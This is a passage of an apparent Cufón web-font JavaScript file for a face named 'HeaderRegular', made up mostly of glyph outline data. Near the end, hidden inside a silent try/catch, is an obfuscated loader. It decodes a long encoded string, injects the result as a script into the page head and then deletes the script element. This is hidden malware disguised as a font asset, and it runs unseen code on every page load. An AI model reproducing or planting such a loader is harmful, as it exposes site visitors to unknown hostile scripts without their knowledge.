-53r7,0xm22,-73r0,8r-8,0r0,-8r8,0xm5,-73r0,8r-7,0r0,-8r7,0","w":19},{"d":"23,-55v8,-1,25,10,12,14v-3,-8,-20,-11,-21,1v0,13,28,7,28,25v0,21,-31,22,-37,5v7,-6,24,16,30,-4v0,-13,-28,-7,-28,-26v0,-9,7,-15,16,-15","w":46},{"d":"43,0r-8,0r0,-7v-8,12,-30,11,-30,-7v0,-16,17,-18,30,-22v2,-15,-19,-15,-23,-4r-6,-4v7,-15,34,-16,36,6v1,13,-2,27,1,38xm35,-30v-11,0,-34,16,-16,24v11,1,19,-9,16,-24xm15,-67v0,-5,4,-9,9,-9v5,0,9,4,9,9v0,5,-4,9,-9,9v-5,0,-9,-4,-9,-9xm24,-72v-5,0,-7,9,0,9v6,0,6,-9,0,-9","w":48},{"d":"49,-11r0,-21r-41,0r0,-6r48,0r0,27r-7,0","w":63},{"d":"19,-11r0,11r-10,0r0,-11r10,0xm19,-53r0,11r-10,0r0,-11r10,0","w":27},{"d":"56,-29r0,5r-48,23r0,-7r39,-18r-39,-18r0,-6","w":63},{"d":"8,-53r0,-22r5,0r0,22r-5,0","w":21},{"d":"17,-29v1,5,-2,6,-6,5v-4,-21,26,-31,6,-45v-8,0,-8,11,-15,4v5,-15,31,-15,30,5v0,15,-15,21,-15,31xm19,-11r0,11r-10,0r0,-11r10,0","w":33},{"d":"46,-75r0,7r-32,0r0,25r23,0r0,7r-23,0r0,29r35,0r0,7r-43,0r0,-75r40,0","w":53},{"d":"56,-55r-8,2v-2,-9,-6,-17,-17,-17v-10,0,-19,10,-19,33v0,43,40,38,36,8v-7,-1,-18,3,-15,-7r23,0r0,36r-7,0r0,-7v-18,20,-45,5,-45,-30v0,-44,45,-51,52,-18","w":61},{"d":"6,-75v38,-7,63,23,31,40r14,35r-9,0r-13,-34r-15,0r0,34r-8,0r0,-75xm14,-68r0,28v29,7,42,-26,12,-28r-12,0","w":54},{"d":"56,-38r0,6r-48,0r0,-6r48,0xm56,-20r0,7r-48,0r0,-7r48,0","w":63},{"d":"44,-25r-32,0v-1,24,20,25,27,11r6,4v-9,19,-41,16,-41,-16v0,-20,10,-29,22,-29v15,0,19,17,18,30xm12,-32r24,0v0,-7,-3,-16,-11,-16v-8,0,-13,9,-13,16xm22,-75v10,0,10,10,16,14v-9,2,-11,-3,-13,-8v-3,4,-5,10,-14,8","w":49},{"d":"37,-48v-2,-6,3,-5,8,-5r0,69r-8,0r0,-22v-12,15,-33,9,-33,-19v0,-29,20,-38,33,-23xm25,-5v13,0,13,-19,12,-34v-2,-5,-6,-9,-12,-9v-20,1,-14,47,0,43","w":50},{"d":"14,0r-8,0r0,-75r12,0r30,59r0,-59r8,0r0,75r-8,0r-34,-68r0,68","w":62},{"d":"14,-65r0,34r-7,0r0,-34r7,0xm7,17r0,-34r7,0r0,34r-7,0","w":21},{"d":"53,-75v0,30,6,82,-24,77v-29,4,-23,-48,-23,-77r7,0v4,26,-12,69,16,69v29,0,12,-44,16,-69r8,0xm41,-95r0,8r-7,0r0,-8r7,0xm25,-95r0,8r-8,0r0,-8r8,0","w":58},{"d":"14,0r-8,0r0,-75r12,0r30,59r0,-59r8,0r0,75r-8,0r-34,-68r0,68xm15,-89v4,-14,22,2,28,-8r4,3v-4,14,-23,-2,-28,8","w":62},{"d":"13,-53r0,53r-7,0r0,-53r7,0xm-2,-75v12,-2,12,8,16,14v-11,1,-11,-9,-16,-14","w":19},{"d":"5,-53r0,-22r6,0r0,22r-6,0xm16,-53r0,-22r5,0r0,22r-5,0","w":26},{"d":"43,0r-8,0r0,-7v-8,12,-30,11,-30,-7v0,-16,17,-18,30,-22v2,-15,-19,-15,-23,-4r-6,-4v7,-15,34,-16,36,6v1,13,-2,27,1,38xm35,-30v-11,0,-34,16,-16,24v11,1,19,-9,16,-24xm13,-75v12,-2,11,8,15,14v-10,0,-10,-10,-15,-14","w":48},{"d":"19,-11r0,11r-10,0r0,-11r10,0","w":27},{"d":"13,-6r0,22r-7,0r0,-91r7,0r0,27v14,-14,33,-6,33,23v0,29,-21,33,-33,19xm26,-48v-15,-1,-14,18,-13,33v7,14,25,16,25,-11v0,-8,-2,-22,-12,-22","w":50},{"d":"14,-37r29,-38r9,0r-21,28r23,47r-9,0r-19,-40v-9,8,-14,20,-12,40r-8,0r0,-75r8,0r0,38"},{"d":"51,-75v-10,22,-25,39,-21,75r-8,0v4,-36,-12,-53,-22,-75r8,0r18,36r17,-36r8,0xm22,-83v3,-6,3,-16,15,-13v-5,4,-5,14,-15,13","w":51},{"d":"53,-75v0,30,6,82,-24,77v-29,4,-23,-48,-23,-77r7,0v4,26,-12,69,16,69v29,0,12,-44,16,-69r8,0xm26,-96v11,-1,11,9,16,13v-8,1,-10,-3,-13,-7v-3,3,-5,8,-13,7","w":58},{"d":"51,-75v-10,22,-25,39,-21,75r-8,0v4,-36,-12,-53,-22,-75r8,0r18,36r17,-36r8,0","w":51},{"d":"14,-75r0,68r32,0r0,7r-40,0r0,-75r8,0","w":48},{"d":"50,-75v-5,29,-19,49,-27,75r-9,0r28,-68r-34,0r0,-7r42,0"},{"d":"19,-11v-1,12,-1,24,-12,26r5,-15v-6,1,-2,-7,-3,-11r10,0xm19,-53r0,11r-10,0r0,-11r10,0","w":27},{"d":"27,-48v-20,-1,-13,29,-14,48r-7,0r0,-53v4,0,9,-1,7,5v8,-8,22,-10,28,1v10,-10,29,-14,29,10r0,37r-7,0v1,-22,5,-63,-21,-41r0,41r-8,0v-3,-16,8,-44,-7,-48","w":76},{"d":"44,-18v6,-4,1,-22,13,-17v-1,8,-3,16,-8,23v4,6,13,2,11,12v-7,0,-12,-4,-16,-7v-12,15,-41,10,-40,-12v0,-10,7,-18,15,-23v-7,-10,-8,-34,9,-34v22,1,14,30,0,36v4,8,10,15,16,22xm22,-36v-14,5,-15,30,3,31v6,0,10,-3,14,-7v-7,-8,-12,-15,-17,-24xm25,-46v9,-4,15,-21,3,-24v-10,1,-8,18,-3,24","w":60},{"d":"19,-11v-1,12,-1,24,-12,26r5,-15v-6,1,-2,-7,-3,-11r10,0","w":27},{"d":"13,-53r0,53r-7,0r0,-53r7,0xm13,-75r0,9r-7,0r0,-9r7,0","w":19},{"d":"36,-40v24,6,18,44,-8,42v-25,3,-33,-35,-9,-42v-19,-7,-13,-39,9,-36v21,-2,29,30,8,36xm44,-19v-1,-20,-33,-21,-33,0v0,9,7,14,16,14v9,0,17,-4,17,-14xm14,-58v0,17,27,19,28,1v0,-16,-28,-18,-28,-1"},{"d":"23,-55v8,-1,25,10,12,14v-3,-8,-20,-11,-21,1v0,13,28,7,28,25v0,21,-31,22,-37,5v7,-6,24,16,30,-4v0,-13,-28,-7,-28,-26v0,-9,7,-15,16,-15xm26,-61v-11,1,-11,-9,-16,-14v8,-1,10,4,13,8v3,-4,4,-10,13,-8","w":46},{"d":"46,-75r0,7r-32,0r0,25r23,0r0,7r-23,0r0,29r35,0r0,7r-43,0r0,-75r40,0xm23,-83v3,-6,3,-16,15,-13v-5,4,-5,14,-15,13","w":53},{"d":"46,-75r0,91r-6,0r0,-85r-6,0r0,85r-5,0r0,-53v-35,4,-33,-38,-6,-38r23,0xm11,-56v0,13,8,13,18,13r0,-26v-15,-2,-20,9,-18,13","w":50},{"d":"43,-53r-18,55v-3,10,-10,19,-23,15v0,-10,18,-4,17,-18r-18,-52r7,0r15,41r13,-41r7,0xm34,-73r0,8r-8,0r0,-8r8,0xm17,-73r0,8r-7,0r0,-8r7,0","w":43},{"d":"14,-75r0,75r-8,0r0,-75r8,0xm7,-96v11,-1,11,9,16,13v-8,1,-10,-3,-13,-7v-3,3,-5,8,-13,7","w":19},{"d":"50,-75r0,7r-21,0r0,68r-7,0r0,-68r-20,0r0,-7r48,0","w":51},{"d":"14,-43r32,0r0,-32r8,0r0,75r-8,0r0,-37r-32,0r0,37r-8,0r0,-75r8,0r0,32","w":59},{"d":"0,-31r20,0r0,7r-20,0r0,-7","w":19},{"d":"33,-76v7,0,18,4,11,10v-15,-11,-32,0,-31,28v11,-16,38,-14,38,14v0,19,-13,26,-22,26v-12,0,-24,-11,-24,-35v0,-29,13,-43,28,-43xm43,-24v0,-21,-26,-21,-30,-3v1,20,11,22,16,22v6,0,14,-4,14,-19"},{"d":"74,-75r-17,75r-7,0r-13,-61r-14,61r-7,0r-16,-75r7,0r13,61r13,-61r8,0r13,61r13,-61r7,0","w":74},{"d":"16,-70r0,17v6,0,14,-2,12,6r-12,0v4,15,-11,44,12,42v1,6,-2,7,-7,7v-22,-1,-9,-30,-12,-49v-5,1,-10,0,-8,-6r8,0r0,-17r7,0","w":29},{"d":"21,7r-6,2v-15,-26,-15,-59,0,-85r6,2v-13,26,-13,55,0,81","w":24},{"d":"32,-75r22,75v-15,2,-10,-16,-15,-24r-25,0v-5,8,1,26,-14,24r21,-75r11,0xm37,-31r-11,-39r-9,39r20,0","w":53},{"d":"31,-76v16,0,27,14,27,39v0,25,-11,39,-27,39v-16,0,-27,-14,-27,-39v0,-25,11,-39,27,-39xm51,-37v0,-43,-40,-45,-39,0v0,23,9,32,19,32v10,0,20,-9,20,-32xm27,-95r0,8r-8,0r0,-8r8,0xm43,-95r0,8r-7,0r0,-8r7,0","w":62},{"d":"31,-75r0,68v6,0,12,-1,10,7r-29,0r0,-7r11,0r0,-59v-5,0,-14,4,-12,-4v7,-2,11,-6,20,-5"},{"d":"49,-68v3,-5,5,-13,12,-7r-8,12v18,33,-9,86,-39,57v-4,4,-6,13,-12,7r8,-12v-19,-31,8,-87,39,-57xm15,-18r30,-44v-14,-17,-34,-7,-33,25v0,6,1,12,3,19xm48,-56r-30,44v14,16,33,5,33,-25v0,-6,-1,-13,-3,-19","w":62},{"d":"20,-5v20,1,13,-29,14,-48r7,0r0,53v-4,0,-9,1,-7,-5v-10,10,-28,12,-28,-11r0,-37r7,0v2,16,-6,43,7,48xm36,-73r0,8r-8,0r0,-8r8,0xm19,-73r0,8r-7,0r0,-8r7,0","w":47},{"d":"13,-53r0,53r-7,0r0,-53r7,0xm7,-75v10,0,10,10,16,14v-9,2,-11,-3,-13,-8v-3,4,-4,10,-13,8","w":19},{"d":"44,-75r0,7r-27,0r-2,24v13,-14,38,-1,35,18v3,25,-35,40,-44,14v8,-9,10,7,20,7v11,0,16,-10,16,-20v0,-22,-21,-24,-28,-9r-6,-1r2,-40r34,0"},{"d":"31,-76v16,0,27,14,27,39v0,25,-11,39,-27,39v-16,0,-27,-14,-27,-39v0,-25,11,-39,27,-39xm51,-37v0,-43,-40,-45,-39,0v0,23,9,32,19,32v10,0,20,-9,20,-32","w":62},{"d":"20,-5v20,1,13,-29,14,-48r7,0r0,53v-4,0,-9,1,-7,-5v-10,10,-28,12,-28,-11r0,-37r7,0v2,16,-6,43,7,48","w":47},{"d":"47,-75r-46,89r-6,0r46,-89r6,0","w":42},{"d":"26,2v-12,0,-22,-8,-22,-28v0,-20,10,-29,22,-29v12,0,21,9,21,29v0,20,-9,28,-21,28xm26,-5v20,-2,18,-41,0,-43v-20,2,-20,41,0,43","w":51},{"d":"26,-55v10,0,24,15,10,17v-2,-5,-4,-10,-10,-10v-20,2,-20,41,0,43v9,1,9,-14,18,-8v-8,23,-41,20,-40,-13v0,-20,10,-29,22,-29","w":48},{"d":"63,-53r-14,53r-7,0r-10,-42r-10,42r-8,0r-13,-53r7,0r10,43r11,-43r7,0r10,43r10,-43r7,0","w":63},{"d":"18,6v-4,4,-2,12,-11,11v2,-5,2,-13,11,-11","w":25},{"d":"79,-25r-32,0v-1,24,20,25,27,11r5,4v-5,15,-32,16,-36,-1v-9,22,-39,16,-39,-15v0,-31,30,-38,39,-16v3,-7,8,-13,17,-13v15,0,20,17,19,30xm26,-5v20,-2,18,-41,0,-43v-20,2,-20,41,0,43xm47,-31r24,0v0,-8,-3,-17,-12,-17v-9,0,-12,9,-12,17","w":83},{"d":"32,-75r22,75v-15,2,-10,-16,-15,-24r-25,0v-5,8,1,26,-14,24r21,-75r11,0xm37,-31r-11,-39r-9,39r20,0xm15,-96v12,-2,12,7,16,13v-10,0,-10,-9,-16,-13","w":53},{"d":"14,-42v3,-7,7,-13,17,-12r0,7v-19,0,-19,25,-18,47r-7,0r0,-53v10,-3,5,8,8,11","w":33},{"d":"0,-75r17,0r0,84v-6,-1,-20,4,-17,-6r10,0r0,-71v-6,0,-12,1,-10,-7","w":24},{"d":"19,-33r0,11r-10,0r0,-11r10,0","w":27},{"d":"13,-75r-2,51r-5,0r-2,-51r9,0xm13,-11r0,11r-9,0r0,-11r9,0","w":17},{"d":"7,24r0,-96r7,0r0,96r-7,0","w":21},{"d":"13,-43v4,-2,10,-7,8,3v-14,2,-6,26,-8,40r-7,0r0,-33v-4,1,-10,6,-8,-3v14,-2,6,-25,8,-39r7,0r0,32","w":19},{"d":"43,0r-8,0r0,-7v-8,12,-30,11,-30,-7v0,-16,17,-18,30,-22v2,-15,-19,-15,-23,-4r-6,-4v7,-15,34,-16,36,6v1,13,-2,27,1,38xm35,-30v-11,0,-34,16,-16,24v11,1,19,-9,16,-24xm20,-73r0,8r-8,0r0,-8r8,0xm36,-73r0,8r-8,0r0,-8r8,0","w":48},{"d":"16,-42v-10,0,-14,-8,-14,-17v0,-9,4,-17,14,-17v10,0,14,8,14,17v0,9,-4,17,-14,17xm16,-46v13,-1,12,-25,0,-26v-12,1,-11,25,0,26","w":32},{"d":"26,2v-12,0,-22,-8,-22,-28v0,-20,10,-29,22,-29v12,0,21,9,21,29v0,20,-9,28,-21,28xm26,-5v20,-2,18,-41,0,-43v-20,2,-20,41,0,43xm21,-73r0,8r-7,0r0,-8r7,0xm38,-73r0,8r-8,0r0,-8r8,0","w":51},{"d":"27,-43v7,1,19,-4,16,7r-14,0v2,8,5,15,1,23v18,17,12,-2,25,2v-5,14,-12,18,-28,5v-6,11,-24,11,-25,-3v0,-10,15,-13,22,-7v2,-7,0,-13,-3,-20v-6,0,-16,2,-13,-7r11,0v-12,-25,22,-47,33,-21v-8,7,-7,-6,-16,-6v-13,0,-13,17,-9,27xm14,-5v11,0,7,-9,0,-8v-2,0,-5,1,-5,4v0,3,3,4,5,4"},{"d":"40,-4v14,0,19,-13,34,-14v-17,34,-73,20,-73,-19v0,-44,73,-54,74,-7v0,19,-22,39,-32,23v-8,10,-28,7,-26,-8v-2,-18,24,-44,35,-23v1,-4,2,-7,8,-6r-10,29v-2,5,-2,8,3,8v29,-8,14,-49,-13,-49v-19,0,-33,14,-33,33v0,19,14,33,33,33xm32,-21v9,0,25,-28,10,-33v-12,0,-26,29,-10,33","w":76},{"d":"50,-37v18,1,18,38,0,39v-17,-1,-17,-38,0,-39xm16,-76v18,1,18,38,0,39v-17,-1,-17,-38,0,-39xm51,-75r6,0r-41,75r-6,0xm50,-4v10,-1,10,-27,0,-28v-9,1,-9,27,0,28xm16,-43v10,-1,10,-27,0,-28v-9,1,-9,27,0,28","w":66},{"d":"26,2v-12,0,-22,-8,-22,-28v0,-20,10,-29,22,-29v12,0,21,9,21,29v0,20,-9,28,-21,28xm26,-5v20,-2,18,-41,0,-43v-20,2,-20,41,0,43xm10,-67v4,-15,21,2,27,-8r5,2v-4,15,-24,-2,-28,9","w":51},{"d":"34,-50r9,0v1,6,-3,8,-10,7v-6,21,5,63,-25,59v-2,-11,15,-4,13,-18r4,-41r-8,0v0,-6,2,-8,9,-7v1,-15,3,-29,21,-26v-1,11,-16,5,-13,26"},{"d":"13,-6r0,22r-7,0r0,-69v4,0,9,-1,7,5v14,-14,33,-6,33,23v0,29,-21,33,-33,19xm26,-48v-15,-1,-14,18,-13,33v7,14,25,16,25,-11v0,-8,-2,-22,-12,-22","w":50},{"d":"20,-5v20,1,13,-29,14,-48r7,0r0,53v-4,0,-9,1,-7,-5v-10,10,-28,12,-28,-11r0,-37r7,0v2,16,-6,43,7,48xm12,-75v12,-2,12,8,16,14v-11,1,-11,-9,-16,-14","w":47},{"d":"46,-75r0,7r-32,0r0,25r23,0r0,7r-23,0r0,29r35,0r0,7r-43,0r0,-75r40,0xm39,-95r0,8r-8,0r0,-8r8,0xm22,-95r0,8r-7,0r0,-8r7,0","w":53},{"d":"13,-31r-6,0r22,-44r5,0r22,44r-6,0r-19,-36","w":63},{"d":"51,-75r-22,75r-8,0r-21,-75r8,0r17,61r18,-61r8,0","w":50},{"d":"46,-60v-10,6,-9,-12,-20,-10v-5,0,-11,4,-11,9v0,15,33,12,33,33v0,7,-4,10,-9,14v14,9,5,30,-13,30v-12,0,-19,-6,-22,-18v11,-6,10,14,22,11v6,0,13,-3,13,-10v0,-14,-34,-11,-34,-31v0,-7,4,-12,9,-16v-12,-8,-4,-28,11,-28v11,0,18,6,21,16xm19,-45v-17,10,2,26,15,28v18,-11,-5,-25,-15,-28","w":52},{"d":"26,0r-32,-75r7,0r31,75r-6,0","w":26},{"d":"13,-75r0,27v10,-10,28,-12,28,11r0,37r-7,0v1,-22,4,-65,-21,-40r0,40r-7,0r0,-75r7,0","w":47},{"d":"4,18r2,-47r5,0r2,47r-9,0xm4,-42r0,-11r9,0r0,11r-9,0","w":17},{"d":"53,-75v0,30,6,82,-24,77v-29,4,-23,-48,-23,-77r7,0v4,26,-12,69,16,69v29,0,12,-44,16,-69r8,0xm25,-83v4,-6,4,-15,16,-13v-5,4,-5,14,-16,13","w":58},{"d":"5,-33v18,-2,-6,-47,22,-41v-16,3,3,37,-16,41v18,2,0,36,16,42v-28,4,-4,-34,-22,-42","w":31},{"d":"25,-75r0,7r-10,0r0,71v5,0,12,-1,10,6r-17,0r0,-84r17,0","w":24},{"d":"16,-53v5,0,12,-1,10,6r-10,0r0,47r-7,0r0,-47v-5,1,-10,0,-8,-6r8,0v-1,-15,2,-25,18,-23r0,7v-10,-4,-12,5,-11,16","w":27},{"d":"48,12r-48,0r0,-5r48,0r0,5","w":48},{"d":"35,-75v-1,27,7,80,-19,77v-9,1,-22,-13,-8,-15v1,4,4,7,8,7v20,-4,8,-47,11,-69r8,0","w":40},{"d":"53,-75v0,30,6,82,-24,77v-29,4,-23,-48,-23,-77r7,0v4,26,-12,69,16,69v29,0,12,-44,16,-69r8,0","w":58},{"d":"13,-6v1,6,-2,7,-7,6r0,-75r7,0r0,27v14,-14,33,-6,33,23v0,29,-21,33,-33,19xm26,-48v-15,-1,-14,18,-13,33v7,14,25,16,25,-11v0,-8,-2,-22,-12,-22","w":50},{"d":"20,-41r0,-7v8,1,13,-3,13,-11v0,-6,-2,-11,-9,-11v-3,0,-11,1,-11,11r0,59r-7,0v2,-25,-8,-78,17,-76v18,-2,22,24,9,31v26,8,8,62,-13,44v-2,-8,3,-5,7,-4v13,-3,19,-40,-6,-36","w":49},{"d":"55,-54r-7,2v-2,-9,-7,-18,-17,-18v-10,0,-19,10,-19,33v0,39,31,40,36,14r7,2v-2,12,-11,23,-24,23v-16,0,-27,-14,-27,-39v0,-43,44,-52,51,-17","w":59},{"d":"52,-57r-7,2v0,-17,-28,-21,-29,-2v0,19,36,11,36,37v0,31,-44,27,-47,0r7,-1v1,18,31,23,32,2v0,-21,-36,-12,-36,-37v0,-27,42,-25,44,-1","w":56},{"d":"23,-75v8,-2,6,5,6,11v5,-1,11,-6,11,2r-9,3v3,4,9,9,1,11v-5,-14,-11,4,-16,-3r6,-8v-5,-2,-13,-2,-8,-8r9,3r0,-11","w":52},{"d":"52,-25r0,7r-11,0r0,18r-8,0r0,-18r-30,0v3,-25,19,-37,27,-57r11,0r0,50r11,0xm33,-25r0,-42r-22,42r22,0"},{"d":"20,-76r0,41v4,0,7,-1,6,4r-19,0v-1,-5,3,-4,7,-4r0,-35v0,0,-8,3,-7,-2v4,-2,7,-5,13,-4","w":33},{"d":"56,-5v9,0,12,-14,18,-5v-5,14,-30,17,-36,1v-6,14,-34,16,-33,-5v0,-6,1,-15,30,-21v3,-16,-18,-16,-23,-5r-6,-4v7,-13,26,-15,34,-3v13,-19,40,1,34,22r-32,0v0,15,6,20,14,20xm20,-5v11,0,19,-10,15,-24v-23,5,-23,11,-23,15v0,5,3,9,8,9xm42,-32r24,0v0,-8,-3,-16,-12,-16v-9,0,-12,8,-12,16","w":78},{"d":"6,-75r8,0r0,17v21,-3,40,8,37,21v2,12,-16,23,-37,20r0,17r-8,0r0,-75xm14,-51r0,27v13,0,29,2,29,-13v0,-16,-16,-14,-29,-14","w":53},{"d":"47,-75v-5,29,-24,44,-34,68r34,0r0,7r-43,0v6,-28,24,-44,34,-68r-31,0r0,-7r40,0","w":50},{"d":"14,-75r0,75r-8,0r0,-75r8,0","w":19}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+416-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("7mTz^l{dFkJ?75Nw@l6$XmXJ&_{zTlJ?&_L$Fk(eT:vx%0dn&pRO|9R$7zVz|tul{zVz|tul|lQ;T6Vz|t;KT6Vz|tua|:Vz|tuN|:Vz|tuD%:Vz|tul|zVz|tunT;TN@oLs@9IO%kLs@9IOTlLs@9IV{0Ds@9IO%9Ns@9IO%kTUR:Vz|tuo{:Vz|tuN|Kzs@9IO%0@s@9IOT9@*&pRO|9|V&pRO|m;1&pRO|9@NFaus@9IO%l%!&pRO|mLN|KG%&pRO|m:n&pRO|mTD&pRO|mXO&pRO|m{a^NVz|tuD|6Vz|t;d|&*s@9IO%_6s@9IO%9Ls@9IOTtNs@9IO%_T{&pRO|m|0L6Vz|tua{6Vz|tuo|NVz|tuo{6Vz|tul=6Vz|tuDT:Vz|tuo|tLs@9IO%0:s@9IOTa(s@9IO%aU*i6Vz|tuD{kus@9IO%0Ts@9IOTt@s@9IOTl(e&pRO|m|1Ym;G&pRO|mR$^6Vz|tuNT6Vz|tua|NVz|tun|:Vz|tuaT6Vz|tul|6Vz|tuN=6Vz|tuN=>{s@9IO%lLs@9IO%a{s@9IO%9(s@9IV{aus@9IO%l{s@9IOTt{s@9IO%aLs@9IOTa6s@9IOTkT0&pRO|mRz&pRO|m6a=a1eid:pRazs@9IOTk6V9NVz|tuD{NVz|tuo%zVz|tuo|:Vz|tuN%zOn&pRO|mRO}NVz|tulTRQs@9IOTm(s@9IOTmLT9tsw^>%xF9Ds@9IV{a6s@9IO%0Ns@9IO%aTs@9IOTlTs@9IO%_:R>5d_:KUhU:Vz|tuo{a6s@9IOTtDs@9IOTl{s@9IOTkRz9K:s}_Ja@zVz|tun=6Vz|t;z|zVz|tua|pL@&pRO|mXKX&Vs@9IV{tLs@9IOT9(s@9IO%l6s@9IOTaTs@9IO%9{IL:Vz|tul{:Vz|t;*|eus@9IOTaNs@9IO%_LY:NVz|tuD{zVsF6Vz|tuD|:Vz|tuo%&Q^TNJ7:kLs@9IOTmTtR$hd&pRO|mX*&pRO|mR_&pRO|m(Nkoon}e{O^mNd75Xn7>VGi9Ixstzn}eIx^tzO}lVN^l@dF5VeikX?Tn*e^pNOFp|JYKdwFk%h%n*~F0d~&n!r=e@K@zO?79vhi0Gx^_{D^mD~sK(v}nQs}l(N^m6d&5*0T&O?7zO?%_NdYkL$Tk6C&5*a^_zv}nQs}l@z^m($FkQN@6O?%_JQym@z^m($FkQN@6O?%_JQy51C&5*e^_Vo^_Tx%&ux%k*o&5*a^_zvT_JxTmJl^m6O^m6?T6O?%_JQ7>U~F>*dT&{d7mV~%_6dFkJ?}lD~sK(?%kzN7>Nl^KXIu5t;6mpXL7}|{=iU(>9R:k&%TF^s@Yy!DnaoNlehG3CxQ?~OV$0dz_K1*gwvJ4rh=_ov^txC7_oGTzQak_N@&9zOk_N@y>oh7>I!")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":55,"face":{"font-family":"HeaderRegular","font-weight":500,"font-stretch":"normal","units-per-em":"96","panose-1":"2 0 6 3 0 0 0 0 0 0","ascent":"77","descent":"-19","x-height":"2","bbox":"-6 -98 205 323","underline-thickness":"4.8","underline-position":"-9.6","stemh":"7","stemv":"7","unicode-range":"U+0020-U+0192"}}));
;

